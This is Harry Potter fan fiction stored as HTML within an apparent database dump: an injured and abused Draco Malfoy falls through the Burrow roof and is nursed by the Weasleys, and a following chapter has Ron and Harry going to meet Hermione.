boy!&#8221;</p>\n\n<p></p>\n\n<p>Harry was able to peek over Mr Weasley&#8217;s shoulder just enough to make out Draco Malfoy&#8217;s still form lying on the tiled floor.</p>\n\n<p></p>\n\n<p>Mrs Weasley stood there blinking for a moment before she seemed to come to herself again. &#8220;Arthur, Charlie, pick him up and take him down to the second landing. Put him in Percy&#8217;s room. Ginny, you come with me.&#8221;</p>\n\n<p></p>\n\n<p>She was about to make her way downstairs when Ron stopped her. &#8220;Mum, do you know who that is? That&#8217;s Draco <i>Malfoy</i>!&#8221;</p>\n\n<p></p>\n\n<p>Mrs Weasley turned on her son, fire in her eyes. &#8220;I don&#8217;t care if it is You-Know-Who! He&#8217;s obviously hurt and needs my help.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;But Mum<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;No, not another word. He came into my home for one reason or another and if you don&#8217;t want to help then go to your room.&#8221;</p>\n\n<p></p>\n\n<p>Ron narrowed his eyes and sullenly huffed down the hall, slamming his door. Mrs Weasley humphed and dragged Ginny downstairs with her. Harry was still speechless, but he shook it off to offer his assistance.</p>\n\n<p></p>\n\n<p>&#8220;I&#8217;ll open the door for you.&#8221;</p>\n\n<p></p>\n\n<p>Mr Weasley and Charlie grunted in thanks as they lifted Draco up by the arms and feet and took him down to the first storey corridor. Harry followed them and opened the door while the two puffing men placed Draco on Percy&#8217;s bed.</p>\n\n<p></p>\n\n<p>&#8220;What&#8217;d I tell you Dad, it&#8217;s the year of the fallen,&#8221; Charlie stated sagely as he let Draco&#8217;s shoulders fall to the bed with a thump. &#8220;Except he isn&#8217;t a Weasley though, is he? Wonder what he was doing on our roof in the first place.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;He had a broom, but it&#8217;s broken now. I saw it when we picked him up,&#8221; Mr Weasley commented while dusting himself off. &#8220;A Malfoy, in my own house. Thought I would never see the day.&#8221;</p>\n\n<p></p>\n\n<p>Charlie jerked back when he went to dust off his hands. &#8220;Dad, take a look at this!&#8221; He held his palms up so his father and Harry could see the fresh blood that was staining them.</p>\n\n<p></p>\n\n<p>Harry looked down, frowning as he noted the red and brown stains starting to seep through Draco&#8217;s shirt. &#8220;We need to turn him over, I think the wounds are on his back.&#8221;</p>\n\n<p></p>\n\n<p>Mr Weasley and Harry flipped Malfoy over on his stomach. Mr Weasley pulled the bag from Draco&#8217;s shoulder and lifted his shirt.</p>\n\n<p></p>\n\n<p>&#8220;Oh my<font face="Times New Roman">&#8212;</font> oh.&#8221; These were the only intelligible words that escaped Mr Weasley&#8217;s lips. Charlie peered curiously around his father&#8217;s back while Harry and Mr Weasley remained silent.</p>\n\n<p></p>\n\n<p>&#8220;What is it?&#8221; Charlie stopped at the sight of many crisscrossing lines in red striped over Draco&#8217;s back, some half healed and others newly broken open. Not much else could be seen for the blood that had congealed in places, obscuring the pale flesh beneath.</p>\n\n<p></p>\n\n<p>&#8220;W-who do you think did this to him?&#8221; Harry managed to stutter at last. He didn&#8217;t receive an answer because Mrs Weasley came bustling in with bandages and potions; Ginny was behind her carrying a bowl of warm water.</p>\n\n<p></p>\n\n<p>&#8220;Now, let&#8217;s just take a look<font face="Times New Roman">&#8212;</font> &#8221; Mrs Weasley froze in horror, almost dropping a bottle of purple fluid. &#8220;What happened to him?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;We don&#8217;t know. Charlie just pulled back and there was suddenly all of this blood.&#8221; Harry swallowed. &#8220;It wasn&#8217;t there before.&#8221;</p>\n\n<p></p>\n\n<p>Mrs Weasley composed herself and poked one of the slashes with a gentle finger. &#8220;I think these were sealed over when he put the shirt on and opened again when he fell.&#8221; She shook her head and sat on the bed beside Draco. &#8220;Ginny, bring me that water and a cloth. I have to clean these wounds out before he can be healed up.&#8221;</p>\n\n<p></p>\n\n<p>Ginny handed her mother the bowl with shaking hands and collected the bottles she was given in return.</p>\n\n<p></p>\n\n<p>&#8220;Charlie, I want you to stay and help me. The rest of you go downstairs; I&#8217;ll call if I need help.&#8221; Mrs Weasley nodded to his wife and herded Harry and Ginny out of the room, closing the door.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>&#8220;Help me get these clothes off of him,&#8221; Mrs Weasley asked Charlie as she started snipping Draco&#8217;s shirt away with a pair of scissors.</p>\n\n<p></p>\n\n<p>&#8220;What are we going to put him in? Mum, do you realise how insane this is? A Malfoy at the Burrow.&#8221; Charlie touched his mother on the shoulder in order to receive some sort of acknowledgement. She only stared back at him coldly.</p>\n\n<p></p>\n\n<p>&#8220;I don&#8217;t <i>care</i> who it is. This boy needs our help and I&#8217;m going to do it. Look at him. Do you see these marks? I would bet my life that they were made by a whip. A <i>whip</i>, Charlie. Merlin only knows what the boy has been through.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;But he isn&#8217;t some stray Kneazle you and Ginny have taken in, this is a Malfoy! There are probably a hundred Death Eaters out looking for him now. If they find him here . . .&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Go to that wardrobe and get a pair of Percy&#8217;s pyjamas, he can wear those until I find something better,&#8221; Mrs Weasley commanded as if she hadn&#8217;t even heard her son.</p>\n\n<p></p>\n\n<p>&#8220;Mum, aren&#8217;t you listening to me?&#8221;</p>\n\n<p></p>\n\n<p>She turned then to look up at her son. &#8220;I&#8217;m listening, now bring me those pyjamas.&#8221;</p>\n\n<p></p>\n\n<p>Charlie pursed his lips, but didn&#8217;t say anything else as he strode over to the wardrobe and laid hands on a pair of striped flannel bottoms. &#8220;Here, you won&#8217;t be able to put the top on him until after those wounds are sealed, though.&#8221;</p>\n\n<p></p>\n\n<p>Mrs Weasley took the flannels and set them aside. &#8220;Help me get his trousers off.&#8221;</p>\n\n<p></p>\n\n<p>Charlie obeyed and they managed to pull the pyjamas up over Draco&#8217;s hips. His mother clucked silently to herself. &#8220;The poor boy doesn&#8217;t even have any shoes on his feet. Hand me my wand.&#8221;</p>\n\n<p></p>\n\n<p>Molly put a warming charm on Draco&#8217;s feet, which had started to turn blue with frostbite. &#8220;Out in the snow and wind with no shoes, no cloak or gloves; he must have left wherever he was in a hurry and fell off his broom from exhaustion.&#8221;</p>\n\n<p></p>\n\n<p>She soaked a cloth in the basin and bathed the wounds on Draco&#8217;s back, the water quickly turning from clear to pink and then a deep red. Charlie busied himself by folding Draco&#8217;s trousers but stopped when a paper and several small leather bags dropped out. He picked up the bags and saw that they were full to brimming with Galleons so he closed them up and put them on the trunk at the end of the bed. The paper was different though and he glanced once at his mother before unfolding it. She more than likely wouldn&#8217;t approve of him snooping through other people&#8217;s things.</p>\n\n<p></p>\n\n<p>Charlie scanned the first few lines and gasped aloud. His mother echoed this closely and they both looked up.</p>\n\n<p></p>\n\n<p>&#8220;What?&#8221; they said together. Charlie decided to go first though.</p>\n\n<p></p>\n\n<p>&#8220;Take a look at this, Mum. It fell out of his pocket.&#8221; He handed the paper over and watched the horror spread over her round, usually pleasant face.</p>\n\n<p></p>\n\n<p>&#8220;Merciful . . . oh!&#8221; Molly closed her eyes and held the paper to her breast. &#8220;How could a father<font face="Times New Roman">&#8212;</font> &#8221; She snapped her eyes open and briskly wiped them with the back of a freckled hand. &#8220;He is <i>not</i> going back to that place, even if I have to smash Lucius Malfoy&#8217;s thick head with my skillet. I couldn&#8217;t live with myself if I let<font face="Times New Roman">&#8212;</font> he&#8216;s only a child.&#8221;</p>\n\n<p></p>\n\n<p>Mrs Weasley brushed away another tear and handed the parchment to Charlie. &#8220;Put this back in his pocket, I don&#8217;t want him thinking that we&#8217;ve been going through his things like scavengers. And don&#8216;t you dare tell the rest about what we&#8216;ve discovered.&#8221;</p>\n\n<p></p>\n\n<p>Charlie nodded. &#8220;I won&#8216;t. But Mum, do you know what the Tir nOg curse is?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No, but I&#8217;m sure it&#8217;s something dreadful. I&#8217;ll ask your father, if he doesn&#8217;t know, maybe Hermione will, as she&#8217;ll be coming to stay in a few days. Ron and Harry always go on about how bright she is and how much she knows.&#8221; She picked up a jar of salve and was about to apply it to Draco&#8217;s wounds when she stopped and motioned Charlie over. &#8220;I almost forgot this, what with that horrible letter. Come take a look.&#8221;</p>\n\n<p></p>\n\n<p>Mrs Weasley moved out of the light so that Charlie could see what she was pointing at. At first there were only thin lines from the whip, but underneath there were bits of . . . paint? No, a tattoo.</p>\n\n<p></p>\n\n</font><p><font size="4">&#8220;Mum,&#8221; Charlie gasped. &#8220;He has an entire </font><a href="http://groups.yahoo.com/group/stafic/files/seize.jpg"><i><u><font size="4">Seize Quartiers </font></u></i></a><font size="4">on his back!&#8221;</font></p><font size="4">\n\n<p></p>\n\n<p>Molly nodded. &#8220;I didn&#8217;t notice at first because of all the blood. But look, you can see a bit of fleur-de-lis over here, and there&#8217;s a lion.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Who would have their lineage tattooed on like that?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Mmmn, Draco Malfoy apparently; although I have a feeling that it may have been his father&#8217;s doing. Heaven knows that I wouldn&#8217;t want that hideous thing on <i>my</i> body.&#8221;</p>\n\n<p></p>\n\n<p>Charlie shook his head. &#8220;Disturbing.&#8221;</p>\n\n<p></p>\n\n<p>Mrs Weasley agreed and they were both quiet for a moment while she applied the salve and bandages. She started to pull the mangled shirt out from under Draco, but when she came to his wrists she sucked in a breath.</p>\n\n<p></p>\n\n<p>&#8220;It only seems to get worse as I go along. Charlie, why don&#8217;t you take this bowl downstairs and send Ginny up with some fresh water and tea. I have the feeling I&#8217;m going to be here a while.&#8221;</p>\n\n<p></p>\n\n<p>He sighed and trudged dutifully down the stairs to find Ginny. &#8220;Gin-love, Mum wants you upstairs.&#8221; Charlie shook his sister&#8217;s shoulder to wake her from where she had been dozing in front of the fire. She yawned, stretching small, ivory fingers above her head.</p>\n\n<p></p>\n\n<p>&#8220;All right, I&#8217;m up. What does she want?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Just for you to make her a cuppa and bring some fresh water.&#8221; Charlie handed her the washbasin and Ginny gasped, staring into the swirly red depths.</p>\n\n<p></p>\n\n<p>&#8220;Is he dead, then?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No, just<font face="Times New Roman">&#8212;</font> I&#8217;ll let Mum tell you. I&#8217;m worn out from being in Rumania one minute and merry old England the next. Not to mention the littlest Malfoy tumbling through our roof like Father Christmas. Which means, dear sister, that I&#8216;ll be rooming with the twins instead of in Percy&#8216;s room once everyone&#8217;s flown home. &#8221;</p>\n\n<p></p>\n\n<p>&#8220;That would wear anyone out,&#8221; she laughed lightly. &#8220;You just get some rest and I&#8217;ll see you in the morning.&#8221; Ginny kissed her brother on his scratchy cheek before she made her way into the kitchen.</p>\n\n<p></p>\n\n<p></p>\n\n<p>*~*~*~*~*</p>\n\n<p></p>\n\n<p></p>\n\n<p>It was so dark out tonight, he couldn&#8217;t even see the stars or trees. And his broom . . . Draco opened his eyes suddenly, body arched backwards with a jerk. He wasn&#8217;t on his broom. Where was he!</p>\n\n<p></p>\n\n<p>The room was lit by the soft, warm glow of a candle placed on an unfamiliar table. He seemed to be on a bed of some sort, but it wasn&#8217;t his. Oh God, had Father found him? There was a woman at the table, greying auburn hair spilling over the arms she had folded under her head. She looked familiar, but Draco couldn&#8217;t place where he&#8217;d seen her before. It didn&#8217;t seem to matter anyway, she was asleep. And the oddity of a large, cast-iron skillet beside her hand didn&#8217;t really sink into his foggy brain.</p>\n\n<p></p>\n\n<p>Now was the chance to leave.</p>\n\n<p></p>\n\n<p>Draco pushed up from his stomach and set hesitant feet to the floor. The bed was soft and warm, but he couldn&#8217;t risk staying there any longer, Father could be on his way. The blood had been washed from his arms and his old clothes stripped off. Draco could feel the stiffness of bandages over his back when the muscles rippled. His wrists were tended to as well. Whoever that was had seen to his wounds.</p>\n\n<p></p>\n\n<p>The bags of Galleons were sitting on top of his trousers, apparently untouched, but his tunic and bag were no where in sight. A glance out the window told him that it had stopped snowing, but was more than likely still biting cold and would remain that way even though the sun was close on the horizon. Father was probably right on his heels and it wouldn&#8216;t do for him to be caught so close to freedom. The snow didn&#8217;t seem so frightening anymore. He quickly donned his trousers, tucking the small bags of gold into his pockets carefully.</p>\n\n<p></p>\n\n<p>The window was unlocked and Draco slid it open easily, an icy blast in the warm room making him shiver. A look around the room showed that his trusted Cloudstriker IV was in pieces and tucked into a corner. He would just have to do things the hard way. Draco had already placed one foot out of the window and was seeking purchase on the slippery roof below when a voice made him freeze.</p>\n\n<p></p>\n\n<p>&#8220;Where do you think you&#8217;re going?&#8221;</p>\n\n<p></p>\n\n<p>Pulling his foot out of the window, he turned toward the doorway and took in the form of a middle-aged, balding red-haired man in his night robe. Draco started and suddenly he knew where he was.</p>\n\n<p></p>\n\n<p>&#8220;Well?&#8221; the man persisted, arms crossed over his chest.</p>\n\n<p></p>\n\n<p>&#8220;Good evening, Mr Weasley.&#8221;</p>\n\n<p></p>\n\n<p>Arthur spared a glance at his sleeping wife and then it was back to Draco. &#8220;Mr Malfoy, my wife was awake most of the night tending to your wounds, the least you can do is tell her you&#8217;re leaving.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;O-of course, sir.&#8221; Draco could be unfailingly polite when it suited him, but the stutter in his voice annoyed him and it came out as more of a sneer. Mr Weasley frowned deeply at this and walked over to wake his wife.</p>\n\n<p></p>\n\n<p>&#8220;Molly, your patient is up and about,&#8221; he said with a gentle shake.</p>\n\n<p></p>\n\n<p>&#8220;Hmmn? Oh, oh he&#8217;s awake?&#8221; Mrs Weasley sat up quickly and looked towards the bed. &#8220;Where did he go?&#8221;</p>\n\n<p></p>\n\n<p>Arthur nudged his wife. &#8220;Over there, dear, by the window.&#8221;</p>\n\n<p></p>\n\n<p>Draco straightened up as she turned to look at him, seeming ready to bolt at any moment. But Mrs Weasley didn&#8217;t notice and she pattered toward him, arms out. She also didn&#8217;t notice the wide, panicked look in his eyes as she embraced him in a firm, but careful way.</p>\n\n<p></p>\n\n<p>&#8220;My dear boy, I was afraid you&#8217;d be out for days! Would you like some tea? Well, of course you&#8217;d like some tea after all you&#8217;ve been through, poor mite. Come downstairs with me. Or would you rather I bring it up here to you?&#8221;</p>\n\n<p></p>\n\n<p>There were so many words spilling from her lips so quickly that it made Draco&#8217;s head spin. &#8220;Um,&#8221; was all he was able to manage.</p>\n\n<p></p>\n\n<p>&#8220;Molly, give the boy a chance to let things sink in before you pepper him with questions.&#8221;</p>\n\n<p></p>\n\n<p>But Mrs Weasley wasn&#8217;t listening to her husband as she clasped her hands in sudden inspiration. &#8220;Oh, pepper! I&#8217;ll make a Pepper Up Potion! That&#8217;ll warm him, come with me.&#8221; She grabbed a bandaged wrist without thinking and Draco hissed in pain. Mrs Weasley let go and put a hand to her lips.</p>\n\n<p></p>\n\n<p>&#8220;Oh, I&#8217;m sorry dear.&#8221; So she grabbed his arm instead and dragged him down the stairs into the kitchen. Mr Weasley followed them and she left both at the table, humming to herself as she pulled out the potion and a various tea things.</p>\n\n<p></p>\n\n<p>&#8220;She gets carried away at times,&#8221; Arthur explained as he sunk into a chair beside Draco. He merely nodded, still dumbstruck by Mrs Weasley&#8217;s &#8216;attack&#8217;. It was a few moments more before he was able to speak at all.</p>\n\n<p></p>\n\n<p>&#8220;It isn&#8217;t as if I&#8217;m not<font face="Times New Roman">&#8212;</font> &#8221; Draco paused, willing himself to say the proper words. &#8220;Grateful, for what you&#8217;ve done. But, why am I here?&#8221;</p>\n\n<p></p>\n\n<p>Mr Weasley looked surprised. &#8220;You mean you don&#8217;t remember?&#8221;</p>\n\n<p></p>\n\n<p>Draco shook his head. &#8220;The last thing I remember was being on my broom.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;We don&#8217;t know much more than you do, I&#8217;m afraid. But when we found you, you had fallen through the upstairs roof.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Fallen through the roof!&#8221; Draco&#8217;s eyes widened just a fraction. Mr Weasley nodded and Draco looked down at the well-worn table dully. &#8220;Am I anywhere close to London, then?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;London is only ten miles or so from here.&#8221;</p>\n\n<p></p>\n\n<p>Draco acknowledged this and closed his eyes. It wasn&#8217;t far at all. He couldn&#8217;t risk hailing the Knight Bus, but a long walk would do no harm. He rose to leave.</p>\n\n<p></p>\n\n<p>&#8220;Thank you for your hospitality, Mr and Mrs Weasley, but I&#8217;m afraid I must go now. I&#8217;ll pay you for the roof and<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;You certainly will not!&#8221; Mrs Weasley glowered from below him and to the left, spoon in hand. Her fierce protectiveness, combined with the fire in her eyes made her seem ten times more threatening than even his father and Draco stared for a moment before regaining his senses.</p>\n\n<p></p>\n\n<p>&#8220;But I<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;Sit,&#8221; Mrs Weasley commanded, pointing the wooden utensil at him. </p>\n\n<p></p>\n\n<p>Draco complied, feeling very apprehensive at being cowed by such a small, dumpy woman.</p>\n\n<p></p>\n\n<p>&#8220;Honestly!&#8221; she started prattling as she set out the tea things. &#8220;No shoes or cloak and he thinks he can <i>walk</i> to London! In the snow!&#8221;</p>\n\n<p></p>\n\n<p>Draco looked down at his feet and curled them under his chair in embarrassment, then realised he was also half-naked and crossed his arms over his chest. Decent people didn&#8217;t walk about with no shoes or even a shirt to cover them. Mr Weasley chuckled.</p>\n\n<p></p>\n\n<p>&#8220;Let me get you a shirt, at least.&#8221; He left the table and went up the stairs, his footfalls soft in the quiet house. Mrs Weasley had taken a seat next to him and proceeded to pour some Pepper Up into a small cup.</p>\n\n<p></p>\n\n<p>&#8220;Here dear, drink this.&#8221;</p>\n\n<p></p>\n\n<p>Draco looked at the cup, remembering the feel and sight of steam blowing out one&#8217;s ears and shook his head. He really needed a cigarette. &#8220;Can&#8217;t, I&#8217;m<font face="Times New Roman">&#8212;</font> allergic.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Oh,&#8221; Mrs Weasley looked disappointed. Draco felt a twinge of guilt and dug his fingers into his arm from disgust while she spoke. &#8220;Well, I suppose a cuppa would do you just as well. You aren&#8217;t allergic to tea, are you?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No, of course not.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Good, good.&#8221; She made up some tea with cream and sugar, handing it to him. &#8220;You drink up and I&#8217;m going to take a look at these.&#8221; Mrs Weasley pushed up her sleeves and gently peeled the bandages from around one wrist while Draco lifted the cup in his other hand obediently. She clucked softly and rubbed a bit of purple salve into the wound. &#8220;Terrible, terrible.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;It&#8217;s really nothing, Mrs Weasley. I&#8217;ll be fine.&#8221;</p>\n\n<p></p>\n\n<p>Molly placed the cloth over his wrist again, tying it off with a knot. &#8220;Now, it&#8217;s time we had a little talk.&#8221; She narrowed her eyes at him and Draco had a distinctly uneasy feeling in the pit of his stomach.</p>\n\n<p></p>\n\n<p>&#8220;If it is about the roof<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>She waved her hand as a cup of tea was poured and she took a sip. &#8220;It isn&#8217;t about the roof, dear.&#8221; Molly seemed to think for a moment before taking another taste of her tea. &#8220;Those wounds on your wrists are from a rope, aren&#8217;t they?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Um.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Don&#8217;t lie to me.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Yes, Mrs Weasley.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;And the ones on your back from a whip?&#8221;</p>\n\n<p></p>\n\n<p>Draco was too intimidated by Mrs Weasley to do anything more than nod. He hated this feeling; he hated <i>feeling</i>, period. The woman had no right to pry into his business. Not to mention that she&#8217;d brandished a spoon at him earlier as if he, Draco Malfoy, were no more than a common house-elf.</p>\n\n<p></p>\n\n<p>&#8220;That&#8217;s what I thought. I would ask who did this, but I don&#8217;t think it necessary.&#8221; She paused, taking another drop from her cup before muttering passionately. &#8220;The next time I see Lucius Malfoy, it will be with a wand in my hand.&#8221;</p>\n\n<p></p>\n\n<p>Draco&#8217;s eyes widened. &#8220;No, you can&#8217;t! If he<font face="Times New Roman">&#8212;</font> Mrs Weasley, don&#8217;t tell him where I am. It&#8217;s enough that I&#8217;m in your house, but after what I&#8217;ve done<font face="Times New Roman">&#8212;</font> &#8221; He cut himself off, not allowing himself to reveal what he was about to say. Too much had been said already. Damn these soft-hearted people; they&#8217;d be the death of him.</p>\n\n<p></p>\n\n<p>Mrs Weasley patted his hand. &#8220;Don&#8217;t work yourself up so. I&#8217;m not saying a word, and neither is anyone else,&#8221; she said slowly, looking at the doorway. Mr Weasley stood there, carrying a shirt in one hand, which he handed to Draco.</p>\n\n<p></p>\n\n<p>&#8220;I won&#8217;t say anything about this. I have the feeling that it is better if I don&#8217;t. However, I would like to know what is going on,&#8221; he said with a very pointed look at Draco. He swallowed, knowing he would have no peace until he told them <i>something</i>.</p>\n\n<p></p>\n\n<p>&#8220;My father wanted me to<font face="Times New Roman">&#8212;</font> do something. But I refused so I, ah, ran away.&#8221;</p>\n\n<p></p>\n\n<p>Mr Weasley lifted his eyebrows and took a seat beside his wife. &#8220;I believe there is more to the story than that. If we are to help you, we need to know what we are you helping you get away from.&#8221;</p>\n\n<p></p>\n\n<p>Draco closed his eyes. &#8220;Sir, don&#8217;t make me say things that I&#8217;ll regret.&#8221;</p>\n\n<p></p>\n\n<p>Arthur gazed at him for a moment, measuring, before he took a slip of paper out of his pocket and set it on the table in front of the boy. &#8220;I believe this is yours?&#8221;</p>\n\n<p></p>\n\n<p>Draco could feel the blood drain from his face. It had been foolish to take that from his father&#8217;s journal in the first place. Now his father could kill him for several things, not least of which was revealing concrete proof of Malfoy allegiances to the Weasleys.</p>\n\n<p></p>\n\n<p>&#8220;Where<font face="Times New Roman">&#8212;</font> &#8221; His head was spinning and Draco raised a hand to his chest, making himself breathe slowly. &#8220;Where did you get that?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;I found it in the hall, actually. I didn&#8217;t realise it belonged to you until after I read it.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;You<font face="Times New Roman">&#8212;</font> read<font face="Times New Roman">&#8212;</font> &#8221; Draco couldn&#8217;t breathe; he tugged at his neck, pulling in ragged breath after ragged breath. &#8220;He <i>will </i>kill me now.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No,&#8221; Mr Weasley stated firmly, uncharacteristically firm. &#8220;He will not.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Dear.&#8221; Molly turned to her husband. &#8220;I&#8217;m going to owl Professor Dumbledore. Perhaps he may know<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;No!&#8221; Draco shouted before he was able to restrain himself. &#8220;Don&#8216;t interfere,&#8221; he whispered in a more subdued way. &#8220;It would be better for you and your family if you just let me go. I&#8217;ll hide, move to another country, Father won&#8217;t be able to find me.&#8221;</p>\n\n<p></p>\n\n<p>The heat was building in his chest, burning every thought to ashes. Draco&#8217;s nose was watering and it took more self-control than he had to keep the tears at bay. One slipped down his cheek anyway and hid in the light whiskers covering his face. Draco put a hand up and it came away wet. He looked at it, confused; he&#8216;d never done that before. At least not that he could remember.</p>\n\n<p></p>\n\n<p>&#8220;What&#8217;s happening to me? What did you <i>do</i>?&#8221;</p>\n\n<p></p>\n\n<p>At that moment, there were footsteps behind him followed by a yawn. </p>\n\n<p></p>\n\n<p>&#8220;Oh, hullo Mum. Couldn&#8217;t sleep eith<font face="Times New Roman">&#8212;</font> &#8221; Ginny stopped, hovering somewhere above his quivering shoulders, he could almost feel her breath on the back of his neck. &#8220;Mum? Dad? What&#8217;s going on?&#8221;</p>\n\n<p></p></font>\n\n\n\n '),
	(271, 7, ' <blockquote>\n\n<p><font size="4" face="Garamond"></font></p>\n\n<p><font size="4" face="Garamond"><br>\n\n\n<font size="4"></font></font></p><p><font size="4" face="Garamond"><font size="4">Authour&#8217;s Notes: Warning to Ron fans. My beta, Claire, is the biggest Ron fan I know. I am also a Ron fan (finally), so don&#8217;t worry your pretty little heads about him. He is going to be all right. Truly!</font></font></p><font size="4" face="Garamond"><font size="4">\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p>Mrs Weasley had occasion to fret three days later when Hermione sent word that she was able to travel to the Burrow and would be arriving that afternoon at the same time as the twins who were done with their business trip early.</p>\n\n<p></p>\n\n<p>&#8220;Oh, what am I going to do? The twins are coming by Portkey and Hermione will be at King&#8217;s Cross! How can I possibly be here to greet the twins and <i>there </i>to take care of Hermione at the same time!&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Molly,&#8221; Arthur Weasley squeezed his wife&#8217;s shoulder firmly. &#8220;You don&#8217;t have to personally greet everyone who comes into our home. The boys can go to pick up Hermione at the station and you can still be here to see to the twins.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;But what if she<font face="Times New Roman">&#8212;</font> &#8221;</p>\n\n<p></p>\n\n<p>&#8220;Mum! She&#8217;ll be fine, honest. Harry and I&#8217;ll take good care of her. S&#8217;not like she&#8217;s made of porcelain or anything.&#8221; Ron was in the kitchen when he heard his mother fretting on about transportation.</p>\n\n<p></p>\n\n<p>&#8220;Besides that, do you think it wise to leave Malfoy alone here?&#8221; Harry spoke up, glancing outside to where the blonde in question was leaning against a tree, having a smoke.</p>\n\n<p></p>\n\n<p>Mrs Weasley shook her head. &#8220;I suppose there&#8217;s no help for it.&#8221; She looked out the window to where Harry had been gazing a moment before and her face hardened as she stomped to the door, slamming it into the frame.</p>\n\n<p></p>\n\n<p>&#8220;Draco Malfoy!&#8221;</p>\n\n<p></p>\n\n<p>Draco choked on his cigarette and glanced up.</p>\n\n<p></p>\n\n<p>&#8220;Put that thing out at <i>once </i>and come inside!&#8221; Mrs Weasley left the door open as Draco marched in, scowl firmly in place. &#8220;Honestly,&#8221; she continued once he was inside and the door was shut. &#8220;That stuff does horrible things to young ones, stunts their growth.&#8221;</p>\n\n<p></p>\n\n<p>One raised eyebrow was the only response she received from the six-foot three inch Malfoy. This was ignored of course as Mrs Weasley went back to baking her pies, her wand waving over them dangerously. Ron glanced at Harry and squirmed before Mr Weasley broke the silence.</p>\n\n<p></p>\n\n<p>&#8220;Well, my lunch hour is over. Boys, if you&#8217;re coming we had better leave.&#8221;</p>\n\n<p></p>\n\n<p>Ron and Harry waved good bye to Mrs Weasley and followed Mr Weasley to the fireplace where he started lecturing them.</p>\n\n<p></p>\n\n<p>&#8220;Now, make sure that you have plenty of Floo powder in your pouch and that it doesn&#8217;t all get burned, there is a shortage you know.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;We know, Dad! Hermione said that she wanted to do a little Christmas shopping before we come back, but we&#8217;ll be home before dark.&#8221; Ron crossed his arms and stared at his father. He&#8217;d already heard that speech at least three times that day.</p>\n\n<p></p>\n\n<p>&#8220;Just you be sure that you are all here when I get home. I don&#8217;t relish hearing your mother have a tantrum tonight because you aren&#8217;t.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Tantrum, Arthur?&#8221;</p>\n\n<p></p>\n\n<p>Mr Weasley looked up to the doorway where his wife stood, her arms folded with a very solid looking spoon peaking through. He smiled weakly.</p>\n\n<p></p>\n\n<p>&#8220;Poor choice of words, love.&#8221;</p>\n\n<p></p>\n\n<p>Mrs Weasley snorted and turned round to go back into the kitchen. Ron could hear her admonishing Draco for touching the freshly baked mince pies. If ever there were a time to leave, it would be then.</p>\n\n<p></p>\n\n<p>&#8220;Let&#8217;s get out of here, Ron,&#8221; Harry whispered. &#8220;Before Malfoy wants to come along.&#8221;</p>\n\n<p></p>\n\n<p>Ron nodded to Harry as his father jumped into the flames with the command of &#8216;Ministry of Magic&#8217;. Harry followed, shouting out &#8216;Diagon Alley&#8217; as he disappeared into the greenish flames. Ron took a moment longer though, sorting something out in his head. Then he smiled as he tossed Floo powder into the grate and trailed after Harry.</p>\n\n<p></p>\n\n<p>When Ron looked up, Harry was standing nearby, dusting soot from his hair and clothing. He did the same before they stepped away from the fireplace in Madame Malkin&#8217;s and walked out into the alley proper. Ron slung a friendly arm around Harry&#8217;s shoulders as they made their way to the Leaky Cauldron and from there, Muggle London.</p>\n\n<p></p>\n\n<p>&#8220;Harry, why don&#8217;t you let me pick up Hermione? I know you wanted to go take a look at the new Firebolt prototype they have up at Quality Quidditch Supplies.&#8221; Ron added a teasing grin to these words that he hoped looked genuine. Apparently it wasn&#8217;t because Harry glanced at him sharply.</p>\n\n<p></p>\n\n<p>&#8220;I thought we agreed that we wouldn&#8217;t drag Hermione in there, because if I go at all, it&#8217;ll be with you and Hermione.&#8221;</p>\n\n<p></p>\n\n<p>Ron attempted to keep his face from falling and pressed a bit harder. &#8220;I know, that&#8217;s why I figured I&#8217;d be gracious just this once and let you go and take a look while I get the baggage at King&#8216;s Cross.&#8221;</p>\n\n<p></p>\n\n<p>Harry drew his eyebrows into the beginnings of a frown. &#8220;Did you just call Hermione baggage?&#8221;</p>\n\n<p></p>\n\n<p>&#8220;No, no,&#8221; Ron protested, taking his arm from about Harry&#8217;s shoulder to wave in front of him. &#8220;I just figured that you would want a little time to do some shopping or what. I know you didn&#8217;t go on that last Hogsmeade weekend with us.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Ron, I haven&#8217;t been to Hogsmeade since the beginning of term. I was planning on Flooing back here tomorrow so I could get my shopping done. Today is Hermione&#8217;s day. I&#8217;ve been beastly to her lately and I wanted to make it up.&#8221;</p>\n\n<p></p>\n\n<p>&#8220;Oh,&#8221; was all that Ron could say as he bowed 